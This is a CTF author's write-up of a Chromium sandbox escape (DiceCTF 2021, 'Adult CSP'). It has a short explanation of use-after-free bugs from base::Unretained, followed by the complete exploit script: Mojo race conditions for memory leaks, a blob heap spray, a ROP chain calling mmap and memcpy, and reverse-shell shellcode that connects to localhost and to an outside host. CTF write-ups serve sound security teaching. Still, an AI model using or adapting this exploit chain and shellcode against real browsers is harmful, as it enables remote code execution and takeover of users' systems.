Adult CSP

This is an author writeup for Adult CSP, a Chromium sandbox escape that I wrote for DiceCTF 2021.

Overview

I wanted to write a pseudo-realistic Chromium sandbox escape. In particular, this meant no helper functions to give leaks.

There were a total of two intended vulnerabilities:

  • UAF on Cat* for leaks
  • UAF on CATServiceImpl* for controlled vcall

Interestingly enough, both of these showed up in one line of code.

  base::PostTask(
    FROM_HERE, {content::BrowserThread::UI},
    base::BindOnce(&CATServiceImpl::ProcessCATOnUI, base::Unretained(this), base::Unretained(it->second.get()), std::move(callback))
  );

base::Unretained means that it is the caller’s responsibility to ensure the object lives past the call. Usually these should be replaced with weak pointers, unless it’s obvious that it’s impossible for the object to be destructed before the function call - for example, an owned child member.

These show up pretty commonly as real Chrome vulnerabilities too, making it quite suitable for a CTF challenge.

Exploit

The exploit functions in three main steps:

  1. Race processCAT and destroy to get a read on a freed object for leaks.
  2. Spray blobs to get controlled data at a known address by combining with the heap leak from part 1.
  3. Race processCAT and .ptr.reset() to get a vcall on a freed object.

Once we have a controlled vcall and control of the object, we can simply point the vtable to the known address from part 2, and use a xchg rax, rsp gadget like from 0ctf Chromium SBX.

My exploit used:

mmap(0x1000000000, 0x1000, 7, 34, -1, 0)
memcpy(0x1000000000, KNOWN_ADDR + 0x200, 0x800)
ret to 0x1000000000

From here, we can use our favorite reverse shell shellcode.

  // execve("/bin/bash", ["-c", "/bin/bash -i >& /dev/tcp..."], 0)
  shellcode += "\x48\x31\xd2\x52\x48\x8d\x05\x31\x00\x00\x00\x50\x48\x8d\x05\x26\x00\x00\x00\x50\x48\x8d\x05\x14\x00\x00\x00\x50\x48\x89\xe6\x48\x8d\x3d\x09\x00\x00\x00\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x00\x2d\x63\x00/bin/bash -i >& /dev/tcp/localhost/1337 0>&1\x00"

The reference solution took around 12 hours to code, so it might have been a bit tight for a two day CTF. It runs in approximately 2 seconds locally with a 50% reliability. Against remote it took 10 seconds, which explains the more generous timeout.

My solution can be found below:

<script src="mojo_bindings.js"></script>
<script src="third_party/blink/public/mojom/csp/cat_service_provider.mojom.js"></script>
<script src="third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
<script>
const xchg = 0x000000000b4362b4n;
const prax = 0x00000000031a164dn;
const crax = 0x000000000312500fn;
const prdi = 0x000000000325b9fdn;
const prsi = 0x0000000003202e6en;
const prdx = 0x00000000033c674bn;
const prcx = 0x000000000323c5b0n;
const pr9 = 0x000000000b48e123n;
const pr8rbp = 0x000000000331f8ecn;
const sysplt = 0xb619400n;
const memcpyplt = 0xb619320n;


const log = msg => {
  fetch("/log?log=" + encodeURIComponent(msg) + "&a=" + Math.random());
}

window.onerror = (msg, src, line, col) => {
  log(msg + ";" + src + ";" + line + ";" + col);
}

const wait = time => new Promise(res => setTimeout(res, time))

const fact = new blink.mojom.CATServiceProviderPtr();
Mojo.bindInterface(blink.mojom.CATServiceProvider.name, mojo.makeRequest(fact).handle);

log("-- " + Math.random());

const noGC = [];

(async () => {
try{
  log("starting")

  const ptrs = [];
  for(let i = 0; i < 20; i++) {
    const ptr = new blink.mojom.CATServicePtr();
    fact.register(mojo.makeRequest(ptr), blink.mojom.CATServiceType.kDirty);

    ptrs.push(ptr);
  }
  
  const rawPtrs = [];
  for(let i = 0; i < 5; i++) {
    const ptr = new blink.mojom.CATServicePtr();
    fact.register(mojo.makeRequest(ptr), blink.mojom.CATServiceType.kRaw);

    rawPtrs.push(ptr);
  }
  
  let hleak = 0;
  let bleak = 0;
  {
    const toBlocks = arr => {
      const ret = [];
      for(let i = 0; i < arr.length; i+= 8) {
        let curr = "";
        for(let j = 0; j < 8; j++) {
          curr = arr[i+j].toString(16).padStart(2, "0") + curr
        }
        ret.push(curr)
      }
      return ret;
    }
    const pprint = arr => {
      const blocks = toBlocks(arr);
      for(let i = 0; i < blocks.length; i++) {
        const curr = blocks[i];
        if(curr !== "0000000000000000") log("#" + i + " " + curr)
      }
    }
    for(let i = 0; i < rawPtrs.length; i++) {
      rawPtrs[i].initialize();
      const { id } = (await rawPtrs[i].addCAT({
        data: [1]
      })).result;
      const prom = rawPtrs[i].processCAT({
        id
      });
      rawPtrs[i].destroy({
        id
      });

      const { data } = (await prom).result;
      pprint(data);
      const blocks = toBlocks(data);
      for(let j = 0; j < blocks.length; j++) {
        // _ZN4base8internal23QueryCancellationTraitsINS0_9BindStateINS0_18IgnoreResultHelperIMN8autofill23AutofillDownloadManagerEFbNS5_15FormRequestDataEEEEJNS_7WeakPtrIS5_EES6_EEEEEbPKNS0_13BindStateBaseENSD_21CancellationQueryModeE
        if(blocks[j].endsWith("810")) {
          bleak = BigInt("0x" + blocks[j]) - 0x3123810n;
        } else if(blocks[j].endsWith("248")) {
          bleak = BigInt("0x" + blocks[j]) + 0x56376f6ae000n - 0x00056377ad8c248n;
        } else if(blocks[j].startsWith("00000") && blocks[j][5] != "0") {
          hleak = BigInt("0x" + blocks[j]);
        } else if(blocks[j].startsWith("0000") && +blocks[j][4] < 4 && blocks[j][4] != 0) {
          hleak = BigInt("0x" + blocks[j]) - 0x1507b13f2dc0n + 0x1507b24b3000n + 0xc00000n + 0x5000000n;
          hleak = (hleak / 0x1000n) * 0x1000n;
        }
      }

    }
  }

  log(bleak.toString(16) + " " + hleak.toString(16));

  if(hleak == 0 || bleak == 0) {
    location.reload();
    return;
  }

  await wait(1 * 100);
 { 
    const blobRegistry = new blink.mojom.BlobRegistryPtr();
    Mojo.bindInterface(blink.mojom.BlobRegistry.name, mojo.makeRequest(blobRegistry).handle, "process");
    
    const spray = new BigUint64Array(0x1000 / 8);
    spray.fill(0x4141414141414141n);
    spray[0x30 / 8] = bleak + xchg;
    
    let idx = 0;
    spray[idx++] = prdi + bleak; 
    spray[idx++] = 0n;
    spray[idx++] = prdi + bleak; 
    spray[idx++] = 0n;
    // pop past vtable entry
    spray[idx++] = pr8rbp + bleak; 
    spray[idx++] = 0n;
    idx++; // vtable entry
    
    const addr = 0x1000000000n;

    // mmap(addr, 0x1000, 7, 32 | 2, -1, 0)
    spray[idx++] = prdi + bleak;
    spray[idx++] = 9n;
    spray[idx++] = prsi + bleak;
    spray[idx++] = addr;
    spray[idx++] = prdx + bleak;
    spray[idx++] = 0x1000n;
    spray[idx++] = prcx + bleak;
    spray[idx++] = 7n;
    spray[idx++] = pr8rbp + bleak;
    spray[idx++] = 32n | 2n;
    spray[idx++] = 0n;
    spray[idx++] = pr9 + bleak;
    spray[idx++] = 0xffffffffffffffffn;
    spray[idx++] = sysplt + bleak;
    spray[idx++] = prdi + bleak;
    spray[idx++] = 0n;

    // memcpy(addr, hleak + 0x200n, 0x800)
    spray[idx++] = prdi + bleak;
    spray[idx++] = addr;
    spray[idx++] = prsi + bleak;
    spray[idx++] = hleak + 0x200n;
    spray[idx++] = prdx + bleak;
    spray[idx++] = 0x800n;
    spray[idx++] = memcpyplt + bleak;

    // ret 2 shellcode
    spray[idx++] = addr;

    const PORT  = "\x7a\x69";
    const IPADDR = "\x7f\x00\x00\x01";
    let shellcode = "";
    
    // write(1, 0x100000100, 0x100)
    //shellcode += "\x48\xc7\xc0\x01\x00\x00\x00\x48\xc7\xc7\x01\x00\x00\x00\x48\xbe\x00\x01\x00\x00\x10\x00\x00\x00\x48\xc7\xc2\x00\x01\x00\x00\x0f\x05";

    // execve("/bin/bash", ["-c", "/bin/bash -i >& /dev/tcp..."], 0)
    shellcode += "\x48\x31\xd2\x52\x48\x8d\x05\x31\x00\x00\x00\x50\x48\x8d\x05\x26\x00\x00\x00\x50\x48\x8d\x05\x14\x00\x00\x00\x50\x48\x89\xe6\x48\x8d\x3d\x09\x00\x00\x00\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x00\x2d\x63\x00/bin/bash -i >& /dev/tcp/test.robertchen.cc/1337 0>&1\x00"

    shellcode += "\x90".repeat(8 - shellcode.length % 8);

    for(let i = 0; i < shellcode.length; i += 8) {
      let curr = 0n;
      for(let j = 0; j < 8; j++) {
        curr += 0x100n ** BigInt(j) * BigInt(shellcode.charCodeAt(i + j));
      } 
      spray[(0x200 + i)/8] = curr;
    }

    const payload = new BigUint64Array(0x1000000 / 8);
    for(let i = 0; i < payload.length; i+= spray.length) {
      payload.set(spray, i);
    }
    const embeddedData = new Uint8Array(payload.buffer);
  
    const blobData = [];
    for(let i = 0; i < 4; i++) {
      log("spraying " + i);
      const blobPtr = new blink.mojom.BlobPtr();
      const remote = new blink.mojom.BytesProviderPtr();
      function Impl() {}
      Impl.prototype = {
        requestAsReply: async (a, b) => {
          return {
            data: [1]
          }
        },
        requestAsStream: () => log("hi2"),
        requestAsFile: () => log("hi3")
      }
      const binding = new mojo.Binding(blink.mojom.BytesProvider, new Impl());
      binding.bind(mojo.makeRequest(remote));

      const dataElems = [];


      dataElems.push({
        $tag: blink.mojom.DataElement.Tags.bytes,
        bytes: {
          length: embeddedData.length,
          embeddedData: embeddedData,
          data: remote
        }
      }); 
      blobRegistry.register(mojo.makeRequest(blobPtr), "" + Math.random(), "text/data", "text/data", dataElems);

      noGC.push(blobPtr);
    }
  }


  await wait(100 * 1);

  for(let i = 0; i < ptrs.length; i++) {
    ptrs[i].initialize();
  }
  
  await wait(100);
  
  log("doing blobs")

  const blobs = [];
  const ids = [];
  for(let i = 0; i < ptrs.length; i++) {
    const { id } = (await ptrs[i].addCAT({
      data: [1]
    })).result;

    ids.push(id);
  }

  const blobRegistry = new blink.mojom.BlobRegistryPtr();
  Mojo.bindInterface(blink.mojom.BlobRegistry.name, mojo.makeRequest(blobRegistry).handle, "process");
  
  const blobData = [];
  for(let i = 0; i < 0x100; i++) {
    const blobPtr = new blink.mojom.BlobPtr();
    const remote = new blink.mojom.BytesProviderPtr();
    function Impl() {}
    Impl.prototype = {
      requestAsReply: async (a, b) => {
        return {
          data: [1]
        }
      },
      requestAsStream: () => log("hi2"),
      requestAsFile: () => log("hi3")
    }
    const binding = new mojo.Binding(blink.mojom.BytesProvider, new Impl());
    binding.bind(mojo.makeRequest(remote));

    blobData.push({ remote, blobPtr });
  }

  const ptrs2 = [];
  for(let j = 0; j < 10; j++) {
    const ptr = new blink.mojom.CATServicePtr();
    fact.register(mojo.makeRequest(ptr), blink.mojom.CATServiceType.kDirty);

    ptrs2.push(ptr);
  }

  for(let j = 0; j < ptrs.length; j+=2) {
    ptrs[j].processCAT({
      id: ids[j]
    });
    ptrs[j].ptr.reset();
  }
  
  const BLOCK = 5;
  for(let j = 0; j < 40; j+=BLOCK) {
    const idx = j;
    const dataElems = [];

    const payload = new BigUint64Array(0x50 / 8);
    payload.fill(0x4141414141414141n);
    payload[0] = hleak;
    payload[1] = BigInt(blink.mojom.CATServiceType.kDirty);
    
    const embeddedData = new Uint8Array(payload.buffer);
    for(let k = 0; k < BLOCK; k++) {
     	dataElems.push({
        $tag: blink.mojom.DataElement.Tags.bytes,
        bytes: {
          length: 0x50,
          embeddedData: embeddedData,// "A".repeat(0x50).split("").map(a => a.charCodeAt(0)),
          data: blobData[idx + k].remote
        }
      }); 
    }
    blobRegistry.register(mojo.makeRequest(blobData[idx].blobPtr), "" + Math.random(), "text/data", "text/data", dataElems);
  }

  await wait(1000 * 100);

}catch(e) { log(e); }
})()

</script>